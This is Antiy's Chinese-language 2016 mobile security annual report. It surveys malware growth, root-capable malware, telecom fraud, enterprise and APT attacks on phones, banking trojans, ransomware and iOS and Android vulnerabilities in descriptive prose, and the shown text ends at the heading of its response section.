1 序言

安天从2005年开始,每年年初公布年报,对上一年度网络威胁状况进行总结,对威胁演进趋势做出预测。早期安天威胁年报以后台病毒样本捕获分析系统的数据统计为主要支撑。而后我们放弃了罗列数据的风格,走向观点型年报,并分成“基础威胁年报”和“移动安全年报”发布。 安天移动安全团队在本次年度移动安全报告中继续以观点的方式来组织内容,用威胁的概念表达归纳安全事态的现象和趋势,并新增“反思”和“应对”两个版块,探寻观点和现象背后的原因,提出应对建议。我们希望通过这份年度报告,向移动安全行业从业者、移动互联网相关企业以及大众用户分享和传达我们的所见、所为及所思。同时这也是安天“移动安全年报”第一次先于“基础威胁年报”公开,本年度的安天“基础威胁年报”承载了更多相对系统而沉重的思考,历经了多个版本的修改,将稍后发布。 2016年,安天移动安全团队面对严峻的移动安全对抗形势,坚持以对抗新兴恶意威胁为己任,砥砺前行。安天移动安全团队研发的移动反病毒引擎(AVL SDK for mobile)防护的手机终端,从年初的两亿部已经发展到年底超过六亿部,安天移动安全团队为手机厂商提供了AVL Inside解决方案,包括了恶意代码检测防护、Wi-Fi安全、URL安全性检测、支付安全、漏洞跟踪修补等体系化的安全模块。安天移动安全团队坚持“安全技术必须服务客户安全价值”的原则,拒绝互联网变现方式。加强和推动更广阔的产业链协作,以移动终端安全为起点,将防护边界延展包括到移动应用商店、APP安全鉴定等在内的整个产业链全程体系中去。安天移动安全团队以国内首个移动威胁情报平台“AVL Insight”为不同行业提供威胁告知、趋势预测、针对性木马深度分析等安全服务,AVL Insight移动威胁情报平台旨在提高银行、政府等大型机构对威胁事件的感知、预警、分析、取证、响应和处置能力,以达到降低IT安全成本,提高资产和信息安全保障的最终目的。 在这些安全实践中,我们不断调整自身的视角,加深对威胁的认知和理解。过去十年间,以智能手机为端点,以3G/4G等网络为信道,移动互联网迅猛发展,移动商务、移动社交、移动支付等移动应用快速占据生活的方方方面,把人和设备、人和人、设备和设备的距离越拉越近。在这个激动人心的过程中,中国扮演了用户基数增长、新业务实践和新模式探索的火车头角色。移动产业的发展带来巨大变革带来巨大变革的同时,移动安全和威胁对抗,也逐渐进入新的阶段。针对移动网络,更为精准的电信诈骗带来更严重的社会威胁;短信拦截马、短信蠕虫等成为一种常态化的威胁,手机勒索软件也不再是个案,而成为一种业务模式。这些威胁造成一个个日常资产受损案例,为大众所深恶痛绝,也为公共安全敲响警钟。从过去几年的数据对比来看,PC和传统恶意代码的整体规模逐渐下降,威胁事件的数量也在逐年减少,传统威胁和恶意代码逐渐走向了新的模式(例如“勒索模式”)和更高对抗的场景(例如“APT场景”),在这背后则是整个移动威胁的全面迁徙和规模化增长以及爆发。可以说2016年,移动威胁已经成为个人、企业和整个社会都绕不过的一个存在。 在2015年年报中我们意识到了移动威胁多元化的迹象,因此使用移动威胁全面泛化作为全年的核心观点,这一观点同样延续到2016年,而且不仅仅是泛化而是全面的迁徙和大密度的出现。这也是我们2016年的主题“威胁的全面迁徙”的由来,在背后我们看到的是整个威胁战场和重心的持续发酵和转化的惯性已然成形。与此同时,2016年的移动威胁呈现出了一些新特点:伴随移动的快速发展,企业和组织逐渐引入移动办公和移动政务,终端数据的商业价值日益凸显,移动威胁正在从个人向企业组织迁移;针对移动终端的APT攻击也将随之高发;伴随移动云服务等新兴技术模式的兴起,业务欺诈类的安全问题也开始成为移动安全的关注点;从技术演进上看,Root型恶意代码、勒索软件、色情应用等也在进行快速的技术演进,给技术对抗带来了新的挑战;Android系统需扮演攻防的主要战场,同时iOS、嵌入式Linux以及各种IoT设备也出现新的威胁趋势和特点,增加了移动威胁全局对抗的深度和战线的广度。 从全球看,移动安全基础设施(终端、系统、网络、网络协议)的设定具有一定的全球普适性,因此面临的威胁在技术形态上具有相通性,全球在移动支付安全、移动应用市场审查、移动企业办公等场景的威胁对抗和防御中,可以考虑以威胁情报为体系进行协同防御。同时也可以看到,中国与其他国家相比,由于移动互联网的后发优势,业务体量更大,环境更复杂,面临的移动威胁形态也更复杂,这一方面使得中国面临着巨量的威胁压力,另一方面也使其积累了大量的具有世界领先水平的对抗经验。

2 观点和现象

2.1 移动威胁规模保持稳定增长

2016年移动威胁依然严峻,严重困扰着每个移动用户的资产和数据安全。移动恶意代码作为重要的移动威胁手段,经过近几年的迅猛发展在技术手段上已趋近成熟,并保持着稳定的增长。2016年,恶意代码样本总量在2015年总数的基础上翻了一番,新增恶意代码变种大幅增加,同比增长近40%。与2015年相比,移动威胁在新型恶意代码的演变上保持平稳的线性增长,既有的恶意代码仍在持续的进化与对抗。下图以半年为时间周期统计了近两年移动恶意代码数量,从中我们可以看到每半年新增恶意样本在新增总样本中的占比仍呈现逐步上升趋势,可见攻击者仍在继续加大对恶意代码的投入,移动威胁并未受到外界环境的影响,保持着持续稳定增长。

图1.png

图1 2015年-2016年移动恶意代码增长趋势

通过2016年恶意代码家族Top10排行(如下图所示),我们可以看到以色情应用、流氓推送为代表的恶意家族所占比重较大,这表明恶意代码开始转向与其他传统的灰色产业链结合的形式谋取利益和生存,由于这类应用大多具有擦边球行为,也给移动威胁的治理带来了很大的附加成本和判定难度。

图2.png

图2 2016 年恶意代码家族Top10

从恶意行为类型来看,2016年流氓行为类型的恶意代码同比增长15%,占比高达57%,依然保持在第一位,是最值得关注的恶意行为。资费消耗和恶意扣费类型的恶意代码数量依然较多,排位依然靠前,分列第二位和第三位,这与其能够带来直接的金钱收益有关。

图3.png

图3 2015年和2016年恶意代码行为分布图

从上述数据统计可以看出,流氓行为的恶意代码开始大量投入,不断困扰着用户;对用户隐私窃取和诱骗欺诈的攻击也开始加剧;大部分移动互联网产业和普通用户遭受的现实威胁仍然以大量高频的弱威胁为主,这些威胁由于危害程度较弱,存在大量灰色空间,在数据统计中占据了绝对地位。此外,随着地下产业链的发展,这类弱威胁所依托的“流量模式“或“个人隐私倒卖”的变现路径逐渐完备,低投入高收益的盈利模式已经形成,更进一步地加剧了这类威胁,使其成为普遍现象。

2.2 移动威胁技术持续进化

2.2.1 攻击者加强Root技术使用 Root型恶意代码自带Root功能,利用公开Root工具的提权代码,直接对手机进行Root操作,获取系统最高权限,将恶意代码写入只读文件系统,难以被用户清除,能够顽固存活于受害用户手机。由于其制作有一定难度,不太常在公众视野出现,但一直是一类危害程度严重的威胁。2015年发现的Root型恶意代码家族及变种数为21个,2016年Root型恶意代码家族变种数量增长迅速,新增Root型恶意代码变种为73个,是2015年的3倍多。从下图的统计数据,我们可以看到2016年Root型恶意代码样本数量Q1、Q2季度增长缓慢,Q3、Q4季度迅猛增长,仅Q3季度总量就超过了2015年全年Root型恶意代码样本数量的5倍,可见Root型恶意代码在2016年进入了一个爆发期。

图4.png

图4 2015年-2016年Root型恶意代码样本增长趋势

2015年Root型恶意代码主要配合恶意广告推广谋取利益,其中最具有代表性的是PermAd [1] (又称“GhostPush“)家族。从2016年的Root型恶意代码的恶意行为来看主要有以下3类,会对用户造成极大危害:
l 私自对用户手机提权获取Root权限后静默安装、卸载应用或者将恶意应用推送到系统目录中长期潜伏,使用户无法彻底清除病毒; l 利用Root权限运行恶意脚本强行禁用反病毒软件,修改反病毒软件白名单逃避杀毒软件的检测; l 利用Root权限对用户手机重要的系统进程(如phone,zygote进程)进行注入造成用户手机功能异常并且在用户无感知的情况下完成私自扣费和隐藏运行恶意代码等行为。

图5.png

图5 Root型恶意代码功能进化

2016年攻击者加强了对Root技术的使用,Root型恶意代码不仅在数量上有了大幅度的攀升,在恶意功能上也有了比较明显的进化,具备了与反病毒引擎的对抗能力,对用户造成的影响也在不断的扩大。 客观的来说,在移动终端上,由于操作系统的设定特点,一定程度上导致了应用安全软件并不具备权限上的优势,往往在与采用了Root技术的恶意代码对抗当中处于下风。也正是从对抗需要的角度出发,安天移动安全团队目前选择了和国内知名移动终端OEM厂商进行合作,希望通过我们的专业安全能力,对其进行赋能,通过协作的方式让移动终端OEM厂商在这场越发不平等的对抗当中尽可能发挥产业位置的优势,重新扭转对抗局面。 2.2.2 攻击者热衷使用开源技术方案 2016年恶意代码在技术实现上也得到了一定程度的进化,出现了多例恶意利用开源技术方案来实现恶意攻击的新型移动恶意代码。被恶意利用的开源技术方案主要集中在“多开”、“热补丁”和“插件”这3个技术领域。2016年出现的利用这类开源技术的移动威胁从家族和数量上来讲不多,整体来看还属于一个新型恶意攻击形态的萌芽期。

图6.png

图6 利用开源技术方案恶意代码案例

借助开源技术方案带来的技术积累,不仅方便了恶意开发者制作攻击武器,还能够有效的逃避反病毒引擎的检测;此外,还能够有效地减少受害用户对恶意程序的感知能力,起到更好的潜伏和攻击效果,这也是攻击者热衷于使用这类开源技术方案的主要原因。 2.2.3 攻击者利用社工欺诈手段绕过安全权限 Google在Android 6.0及以上的系统版本中推出了众多新特性以增加系统安全性和提升用户体验。其中在安全性方面有所提升的特性主要涉及系统权限、应用间文件共享,而在用户体验方面则引入了Doze机制用于节省系统电量、延长电池使用时间。这些新特性的引入在抑制恶意代码对系统的侵害上发挥了不错的效果。 2016年9月国外安全厂商“卡巴斯基”公开揭露了一款利用社会工程学的恶意代码[2]。该恶意代码针对安全性较强的Android6.0版本系统进行攻击,它通过频繁弹出确认权限请求窗口的方法强制绕过系统新增的应用程序覆盖权限和对危险应用程序活动的动态权限请求的安全功能,导致用户的手机陷入恶意代码的控制中。在12月底,出现了伪装成正常应用Chrome,并通过发送Intent诱使用户将其加入白名单这种欺骗手段绕过Doze机制[3]的恶意应用。从Google官方对Android系统安全机制的更新上可以看出Google对于规范Android生态圈的决心和态度,但恶意攻击者并没有因此停下脚步,反而是进一步寻求绕过新增安全机制的技术手段,并已经开始制造出相应的恶意代码。 2016年移动恶意代码新变种增长迅速,Root型恶意代码无论从数量和功能上都呈现出较为迅猛的增长和进化趋势。使用开源解决方案的恶意代码开始萌芽,恶意开发者对于绕过Android系统新增安全机制的进一步尝试等,这些真实存在的威胁案例从侧面可以反映出移动威胁技术正在持续的进化。

2.3 电信诈骗高度体系化

电信诈骗通过近几年的不断演变,已经从纯粹的技术威胁演变为移动安全的重要威胁,甚至有成为社会公共威胁的趋势,给人民群众生命财产造成了严重伤害和巨大损失。2016年电信诈骗特别是诈骗电话犯罪持续高发,媒体也公开披露过多起涉案金额巨大甚至致人死亡的电话诈骗案件。 诈骗短信是电信诈骗当中重要的威胁形态之一,也是移动恶意代码进入用户手机中的重要入口。诈骗短信持续泛滥,伪基站是罪魁祸首,在2015年移动安全年报中提到的短信拦截马威胁的攻击模式在2016年依旧活跃,给受害用户造成了巨大的财产损失。针对电信诈骗的权威数据显示,2015年全国公安机关共立电信诈骗案件59万起,同比上升32.5%,共造成经济损失222亿元[4]。下图展示了四例常见诈骗短信示例。

图7_副本_副本.png

图7 诈骗短信示例

电信诈骗形式和手段呈现出多样化的发展趋势。随着互联网的普及和发展,移动相关的电信诈骗开始与互联网结合,从最开始单纯给受害人拨打电话的传统电信诈骗发展成为网络电信诈骗。近年来,随着移动智能终端的迅速发展,网络电信诈骗不断进化,出现利用移动终端恶意代码结合钓鱼攻击来实施电信诈骗的新型技术手段。

图8.png

图8 电信诈骗进化图

为提高诈骗的成功率,诈骗者需要搜集各方面的情报。网络电信诈骗情报体系由三大块组成:诈骗目标相关情报、诈骗手法相关情报和资金相关情报。诈骗者通过黑市购买、网络搜索、木马回传等手段对这些情报进行搜集,然后进行筛选、吸收,最后实施诈骗。在移动终端场景,已经出现具备完整诈骗功能的移动恶意代码,例如伪装成“最高人民检察院”的恶意应用,以涉嫌犯罪为由恐吓受害者,并进行电信诈骗。其主要攻击流程如下图所示,详细的技术分析可以参考安天移动安全官方技术博客2016年12月12日发布的《病毒四度升级:安天移动安全揭露一例跨期两年的电信诈骗进化史》[5]分析报告。

图9.png

图9 移动终端场景的电信诈骗流程图

移动相关的网络电信诈骗已经形成上下游产业链并且高度体系化,甚至分为了4类专业的团伙以进行密切的分工与协作,这在极大程度上助长了移动相关的诈骗泛滥成灾。

图10.png

图10 电信诈骗产业链

电信诈骗给受害用户带来了经济损失和其它严重后果,以其中比较普遍的诈骗电话为例,据公开的研究报告[6]显示,在2016年前3个季度共9个月份中全国平均每月被用户标记的诈骗电话多达1500多万次,诈骗类的电话在骚扰电话中占比高达27%,从量级和占比足以看出移动相关的电信诈骗已经泛滥化。从另外一个角度来看,根据2016年1-9月趋势图中可以看出在2016年3月后诈骗电话数趋于缓和,并在2016年9月,最高人民法院、最高人民检察院、公安部、工业和信息化部、中国人民银行、中国银行业监督管理委员会六部门联合发布《防范和打击电信网络诈骗犯罪的通告》后有下降的趋势。

图11.png

图11 2016年1-9月诈骗电话标记数每月趋势

2.4 移动威胁正从个人向企业组织迁移

移动威胁最直接的受害群体是普通个人用户,诈骗电话、钓鱼短信、手机病毒已经成为危害用户手机安全的三类主要威胁。从手机病毒这个层面来看,针对个人用户的移动威胁当前主要是借助于仿冒、恶意植入等技术手段,通过小众的应用市场、论坛,网盘、社交应用群等渠道以及恶意代码自身的推送能力来进行传播,从而进入到受害用户手机,对用户造成危害。 2016年安天移动安全团队联合合作伙伴对外发布过多篇移动威胁相关的技术分析文章(典型案例节选部分如下表所示),面向个人用户揭露不同类型移动威胁的发展形式以及对用户的危害和影响。从对用户造成的威胁来看,诱骗欺诈、隐私窃取、恶意扣费是个人用户遭受的最主要的三类手机安全威胁。

图12.png

图12 安天移动安全技术报告节选

除了大量的个人用户遭受到移动威胁的侵蚀,由于企业对移动威胁的重视程度普遍不足,导致移动威胁造成的企业资产受损的事件近年有上升趋势。其中具有代表性的威胁案例是2016年8月由国外安全厂商首先公开披露的恶意代码“DressCode” [7],该病毒利用SOCKS代理反弹技术突破内网防火墙限制,窃取内网数据,能够以手机终端作为跳板实现对企业内网的渗透(具体的攻击流程如下图所示)。“DressCode”恶意代码的出现表明移动恶意代码已经具备对企业进行渗透攻击的能力。

图13.png

图13 DressCode攻击流程图

截止到2016年9月底,这类窃取企业内网信息的恶意应用在数量上已经超过3000,其中有400多款应用曾经上架过GooglePlay应用市场,部分应用的安装量在10万到50万之间。通过这类统计数据虽然无法直接有效地评估企业遭受的损失,但从侧面上可以反映出移动恶意攻击者已经开始将移动威胁的攻击向企业级场景切换。 在另外一个场景中,则是通过篡改DNS实现对企业的渗透和攻击,2016年底在移动平台出现的“Switcher”恶意代码家族能够借助移动终端接入Wi-Fi对连入的路由器DNS服务进行攻击[8],恶意篡改DNS服务器地址从而实现受害用户网络流量劫持。

图14.png

图14 DNS劫持流程图

“Switcher”主要通过暴力破解登录的方式进入路由器DNS并篡改成恶意的DNS服务器地址,其攻击能力主要依赖于破解字典的强度。当前从“Switcher”自带的字典来看主要以常见的弱密码为主,可见其攻击能力并不是很强,但是从整体的攻击流程和目标来看,移动威胁当前已经具备了对DNS这类网络服务进行恶意利用的能力。 由于近几年企业在终端安全防护领域的投入和重视度不足, PC勒索软件近两年在企业环境中造成了巨大威胁和资产损失。从前文案例可以看出,就威胁攻击的整个链条而言,个人用户、企业用户以及网络服务供应商等都遭受到了不同程度移动威胁的恶意利用或攻击,移动威胁也正在从个人向企业组织迁移,值得企业安全管理人员关注和预警。

2.5 移动终端已成为APT的新战场

2013年3月,卡巴斯基披露了首个移动终端上的针对性攻击事件[10],其结合了传统网络攻击下的邮件钓鱼攻击模式和移动终端的木马程序完成对特定目标人物移动设备的攻击和控制。这个事件的公开披露意味着移动威胁的攻击动机已不局限于利用黑色产业链牟取直接的经济利益,在攻击目标群体的选择上也不局限于泛化的移动终端用户。 截止到2016年末,公开揭露的针对移动终端的APT攻击事件已有十几例,其不仅针对Android平台,也覆盖了iOS、黑莓等其他智能平台。而移动APT事件主要的攻击目的为收集和窃取智能终端上的隐私数据,包括短信、通讯录、定位信息等。其中部分移动APT事件长达数年,例如2016年3月被公开披露的针对印度军方的“OperationC-Major”行动[11]就是从2013年开始持续了3年多的时间。 2016年8月,在Pegasus间谍木马[12]攻击一名阿联酋社会活动家的事件中,使用了三个针对iOS的0-day漏洞实现攻击,表明在移动攻击场景下也可以和CyberAPT一样将高级攻击技术应用到APT攻击过程。同时也表明移动终端已经成为APT组织进行持续化攻击的新战场,并重点以对特定目标人物的情报搜集和信息窃取为目的。

2.6 全球移动支付安全正遭受威胁

随着移动互联网和移动支付技术的迅速发展,越来越多的用户使用智能手机、平板电脑等移动终端访问网上银行,进行便捷支付。与此同时,恶意攻击者也在持续加大对移动金融的攻击力度。2015年12月Android银行木马GMBot的源代码在网上泄露[13],其中包括Bot组件和控制面板的源代码。恶意攻击者能够直接从网络获取到源码并进行修改,快速的制作出大批量的Android银行木马。 Android平台2016年在移动金融威胁上新增了Svpeng、GBanker、Gugi、Slocker、FakeBank、Marcher等16个银行木马家族,52个银行木马变种,其中感染量较大的为Svpeng、GBanker、Gugi、Slocker、FakeBank等木马家族,如下图所示。

图15.png

图15 2016年银行木马家族Top5及感染量

从攻击的技术手段和目标来看,国外的银行木马大多都会请求激活设备管理器,使受害用户无法通过正常的应用卸载方式进行卸载,在用户使用金融APP或者GooglePlay时,该木马会弹出虚假的绑定银行卡界面或者付费界面欺骗用户输入自己的银行账户相关信息(主要包含VISA卡账号、MasterCard的账号和CVV),然后通过短信转发或者远程控制服务器上传的形式完成窃取,部分家族还会对用户接收的短信进行拦截、上传,对用户手机短信功能造成影响。而国内移动金融威胁相关的银行木马,主要通过仿冒国内主流银行APP诱导用户输入账号信息的方式来完成对受害用户银行账号、银行账号密码、银行预留手机号、身份证号码、开户行名称等高价值信息的窃取。 2016年新增的移动银行木马对全球50多家银行造成了不同程度的影响,其中影响的地域包括了俄罗斯、中国、美国、加拿大、澳大利亚、德国、法国、波兰、土耳其等国家和地区,涉及到有QIWI、Sberbank、Alfa-Bank、 PayPal、Citibank、BawagP.S.K.、BankAustria、DeutscheBank、ING-DiBa、INGDirect等国际知名银行和支付平台。而国内的移动银行木马攻击的目标主要是建设银行、工商银行、招商银行、农业银行、中国银行、交通银行等国内用户较多的银行。对国内银行木马我们在安天移动安全官方技术博客2016年8月24日发布的DarkMobile Bank报告[14]中已经做了详细深入的剖析。从下图可以看出2016年新增的移动银行木马主要针对俄罗斯、中国的移动终端用户。

图16.png

图16 2016年移动银行木马主要感染区域分布图

2.7 隐私泄露成为移动威胁重要帮凶

2016年各类信息及数据泄露的安全事件依旧层出不穷、愈演愈烈。“徐玉玉”案等电信诈骗事件的报道,也引发了公众的思考,并对个人信息泄露带来的恶劣社会影响有了深刻认识。

图17.png

图17 2016年部分重大数据泄露事件

上图列举的只是隐私泄露事件当中的极小部分,近年来,针对各类网站系统的脱库、撞库攻击频繁发生,大量用户的高价值隐私数据信息被泄露。隐私的大面积泄露,已经成为移动威胁当中重要的帮凶和支撑性的环节,这个大趋势不可避免会导致移动威胁朝着长尾化、精准化和碎片化的方向发展。隐私泄露已经成为普遍的安全威胁和问题,它助长了移动威胁的增长,并把移动威胁引导向了精准化、碎片化、高价值转化的方向上,使得移动威胁的长尾现象更加显著。这使得每个用户遇到都是高精准的、难以大面积出现、具有普适性的威胁,恶意攻击者不需要通过大面积的攻击来实现价值转化。 移动供应链的复杂性和终端服务的碎片化,导致隐私泄露这类移动威胁难以被用户和社会所感知,难以唤起社会普遍的重视。但最终这些重隐私和轻隐私的泄漏,由于其产生的长尾效应最终会对整个移动安全乃至身份安全体系产生巨大影响。

2.8 移动勒索软件种类迅速增长

移动平台的勒索软件最早于2014年出现在东欧地区,2015年国内开始出现滥用Android系统功能的锁屏类恶意勒索软件,并活跃至今,已经成为了一种成熟的恶意代码攻击模式。对比近2年移动勒索软件数量,我们发现2016年4个季度与2015年同期相比样本数量都有不同程度的倍增,其中第1季度增长了近7倍,可见移动勒索软件在2016年得到了迅猛的发展。

图18.png

图18 近两年移动勒索软件数量变化情况

2016年移动勒索软件表现形态主要有三种:软件自身频繁地强制置顶自身页面导致手机无法切换操作界面、私自设置手机PIN锁屏密码导致用户无法解锁手机、屏蔽用户手机虚拟按键或者触摸部分。 我们对勒索软件影响的地域进行了统计,发现东欧或俄罗斯的占比为54.8%,其次是中国占据了38.65%,英美占据2.95%,中东地区的伊朗占据了3.6%,这表明俄罗斯和中国是2016年移动勒索软件检测和感染率最高的国家。

图19.png

图19 勒索软件在全球范围内分布情况占比

在2016年6月份,国外某安全公司发现了勒索软件“Flocker”[15]家族能够感染智能电视。“Flocker”家族的一个变种会伪装成美国网警或者其他的执法机构,当用户不小心运行勒索软件时,界面会以英文提示“你被通缉了,需要交付一定的赎金,赎金是价值200美元的iTunes礼品卡”。智能电视之所以受到攻击者的利用与厂商本身有一定的关系。由于厂商不积极更新系统安全补丁导致大部分的Android智能电视系统都停留在Android4.4版本以下,容易遭受勒索以及其它移动威胁的攻击。 当前移动终端的勒索软件虽然在数量上有明显的增长,并同时开始转向对智能电视等设备的攻击,但与PC端相比其攻击对象依旧以普通用户为主,并且在“赎金”要求上相对较低,加之移动终端系统不断更新的系统安全机制能够在一定程度上抵御勒索应用的攻击。从这个角度来看,移动勒索软件对用户的威胁影响相对有限。

2.9 iOS自成体系但并非安全神话

iOS系统因为其系统封闭性以及安全封闭性,安全生态体系基本依赖Apple自行解决。从2009年到2016年,iOS系统上公开的恶意代码家族一共40多个,其中绝大部分家族的恶意功能依赖于越狱后的iOS系统。从2016年全年来看,iOS系统上公开的恶意代码主要是“AceDeceiver” [16]和“Pegasus”[12]两个家族,它们能够在非越狱iOS设备上实施恶意行为。因此从iOS的实际威胁现状看,恶意代码的影响力相对受限。 2016年针对iOS从9.0到10.x版本的系统公开了不少可以利用的漏洞及利用方法[17],其中比较典型的有针对iOS 10.1.1对mach_portal攻击链的利用方法,以及具有较高影响力的针对iOS 9.3.4系统定向攻击窃取阿联酋的一位人权活动家隐私的“三叉戟”漏洞。同时为了提取特定Apple手机的数据,FBI和Apple公司也进行了长达数月的司法纷争。最终通过第三方公司,对手机中的数据进行破解和提取[18]。这也侧面反映出,iOS体系中Apple处于绝对的攻防核心地位,控制着所有安全命脉,但是iOS系统并非坚不可摧,在高级漏洞抵御层面并不占据优势。 根据CVE Details统计的有关移动操作系统的漏洞信息(如下图所示),iOS系统2016年公开漏洞数量为Android的三分之一左右,主要风险集中在拒绝服务、代码执行、堆栈溢出、内存破坏等高危漏洞方面。但考虑到Android系统的碎片化以及开放性,这样的统计数据并不能说明iOS更加安全。

图20.png

图20 2016年Android和iOS系统漏洞类型及数量对比

围绕iOS系统的封闭性与安全性之争预计还将持续。但值得深思的是,因为iOS的安全封闭性,安全厂商、政府机构、普通用户等参与者难以建立有效的安全应对机制,虽然Apple在iOS系统漏洞的遏制和响应上具备一些优势和经验,在安全上的投入也取得了一些成绩,但用户在遭遇到新型威胁或高级攻击时即使是专业的安全团队也难以有效地配合跟进并帮助用户解决威胁问题。与Android这类开放的移动操作系统相比,iOS系统由于高封闭的模式在反APT工作以及与高阶对手的竞争中可能处于劣势,并在一定程度上局限了其商务应用的有效发展。 与iOS相比,Android系统的生态体系更加繁荣,潜在威胁更多,因此也对Android安全提出更高要求,Android系统的开放性和可定制化给安全厂商有效的防御策略提供了积极的支撑作用,能够让安全厂商在移动威胁的防御上大有作为。从Android整个安全体系看,需要通过供应链加强安全协同,从设备、系统、应用、环境等多层面加强漏洞检测、系统加固、安全增强和内置安全引擎等工作,从而最大限度的保障整个安全体系的有效性。

3 反思

3.1 移动威胁检测核心作用有待进一步发挥

面对移动威胁规模的持续增长、威胁技术持续进化和电信诈骗泛滥等现实威胁状况,恶意代码检测无疑是一种核心安全防御手段。 下图是全球主流的移动反病毒引擎在2016年11月份AV-TEST[19]的测评中的结果对比图,从中我们可以看到绝大部分厂商的检出率都在90%以上。值得一提的是,近5年来,安天移动安全团队自主研发的AVL移动反病毒引擎在AV-TEST,AV-C等国际权威反病毒认证机构的测评中均以极高的检出率名列前茅。

图21.png

图21 2016年11月AV-TEST测评成绩

面对持续爆发的威胁,手机制造商、系统供应商等关键环节需要进一步加强移动威胁检测能力的引入,从系统深层次提供对移动威胁的检测,为用户提供深层次安全防御。 通过进一步的威胁情报体系建设和产业协同工作,我们也看到移动恶意代码检测能力将会成为一种安全基本能力,通过不同行业和技术领域的不断使用,逐渐展现出超过移动恶意代码检测原有内涵的综合防御效果。

3.2 Android应用市场问题亟待重视

Android应用市场作为Android应用和用户手机直接连接的重要桥梁,是移动生态环节当中重要的组成部分。Google的官方应用市场GooglePlay以及国内外的各类应用市场都拥有大量的用户群体,一旦出现恶意代码极有可能会导致大量用户受到威胁。 2016年安全厂商多次在Google Play应用市场发现恶意代码。出现在GooglePlay上的恶意代码感染用户多,影响广泛,部分恶意代码能够攻击企业内网,甚至控制受害用户手机进行DDOS攻击。从这些公开的事件来看,单一来源市场加上严格的商家审计,虽然是一种有效的安全思路,但依然不能保证软件供应链是安全的,仍然需要建立起个体用户、手机厂商和企业用户各自的安全边界。

图22.png

图22 2016年安全厂商在Google Play应用市场发现恶意代码案例节选

由于无法像Google一样承担巨大的安全审核成本,国内应用市场的安全问题比GooglePlay更加严重。我们通过对国内的一些应用市场进行定期检测,发现过多例包含有“百脑虫”[20]和“JMedia”[21]等高级恶意代码的应用,相关的应用市场对于这类能够被反病毒引擎检出的恶意应用并没有及时进行下架处理,可见此类安全问题并没有引起足够的关注。 应用市场和应用分发问题在安全策略和安全防护上没有得到普遍重视。当前的应用市场,包括GooglePlay这样的一级分发市场、国内的二三级分发市场以及与用户联系最紧密的移动应用市场服务商,对于自身在安全上扮演的角色是不够重视的。国内外应用分发市场都存在上述安全问题,说明应用市场本身的审核机制存在一定的问题。相比而言,Apple应用市场在这方面做的较好,Apple系统闭源、应用下载市场统一、审核流程更加严格,发现恶意App后能够进行及时响应和下架处置,Android的应用市场与Apple的应用市场相比仍有较大的差距。2016年Android应用市场频频出现恶意代码并非偶然,从根本上来看是因为Android应用市场的安全问题依然没有得到重视,也没有引入有效的安全检测和防护方案。

3.3 漏洞碎片化未得到有效遏制

由于Android系统的开源以及定制化造成的Android系统不可控的碎片化,同时也导致了Android系统漏洞的碎片化。根据CVEDetails公开的数据显示,在2016年Android系统一共被收录了523个漏洞,其中包含有99个信息泄露相关的漏洞,2015年这类漏洞只有19个。值得注意的是2016年新增了250个可以提升权限的安全漏洞,2015年这类漏洞只有17个,增长超过13倍。 特别是像DirtyCow[22]和Drammer[23]这类能够影响从Android1.0及以后几乎所有Android系统版本的通用性漏洞,对用户的伤害性不言而喻。DirtyCow(又称“脏牛漏洞”)是由安全研究员PhilOester首先发现的。DirtyCow利用Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在的条件竞争漏洞,导致私有只读内存映射可以被破坏。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞。Drammer漏洞由国外安全公司VUSec发现并公开,是一种针对Android设备的攻击方式,该漏洞利用内存芯片设计上的一个缺陷不断的访问某个位置上的内存,就可能造成相邻的内存进行位翻转,如果攻击者访问足够多次就可以控制它指向内存中特定的高权限空间,从而获取Root权限。

图23.png

图23 近两年Android系统漏洞类型及数量对比

当前移动操作系统漏洞的有效利用点依然集中在提升权限漏洞上,还没有扩大到比较复杂的应用和攻击场景。但是,这种局面并没有得到有效的遏制,给整个攻击链的防御上带来了极大的风险和控制难度。2016年出现的大量手机Root型恶意代码充分印证了这一点。

3.4 移动威胁的体系化应对尚需时日

2016年11月,我国正式出台了《中华人民共和国网络安全法》,从法律法规层面加强了对安全体系化建设的指导。从网络安全建设来看,全天候的态势感知才能发现威胁并应对威胁,这就需要积极开展对各种关键基础设施的安全防护和保障。从早期出现在国外的能够拦截欧洲国家相关银行支付验证码的Zitmo木马家族,到FakeInst“吸费”木马在俄罗斯及东欧地区的广泛传播,再到近几年国内电信诈骗等威胁的泛滥,我们一方面看到的是国家、行业、企业、个人积极开展安全防护和对抗,在一定程度上遏制了相关威胁的不断泛滥。另一方面,也可以看到由于缺少全局数据和情报支持,缺少对全局安全威胁的及时感知能力,对威胁的遏制效果并不理想。目前可以看到,大部分移动服务供应商和用户对移动安全的重视仍然停留在威胁预警早期阶段,对移动威胁的广度和深度关注不足。可见体系化防御不是一朝一夕之事,只有尽早尽快落实相关的体系化建设,才能真正有效地感知和防御相关安全威胁。

图24.png

图24 短信拦截马数量变化情况

3.5 全球移动安全协作共识有待达成

在移动通信和移动互联网领域,与国外相比,国内已经呈现同步乃至超前的发展态势。从移动应用来看,社交、电商、支付、出行等各种紧贴用户生活的行业需求在移动端逐渐成型;从应用生态链条来看,国内MIUI、阿里云、百度手机助手、腾讯应用宝、360手机助手等应用商店与GooglePlay、 App Store等应用分发体系相呼应;从全球范围来看,以华为、OPPO、VIVO、小米等为代表的众多本土优秀手机终端品牌强势崛起,并在国际市场中占据愈加重要的位置;从系统供应链来看,ARM、高通、三星等厂商仍然占据主流地位,但也可以看到国内厂商通过自主研发、海外并购等方式逐渐进入IC设计和制造的优秀行列。 在这种背景下,传统的样本交换体系愈加难以满足如今移动威胁应对的需求,全球性的安全共识需要加强 。传统网络领域,由于产生时间较早,基础模式设计缺少安全考量,安全体系难以有效协同,增加了不同组织之间摩擦的风险。在移动安全领域,可以通过威胁情报共享体系的设计,让全球拥有共同的威胁描述语言,加强面对威胁的协同抵抗和防御能力,并增强全球安全共识。这个过程有赖于安全行业自身的努力和移动产业整体的规划,也需要国家、国际组织的倡导和推动。

4 应对

4.1 监管者

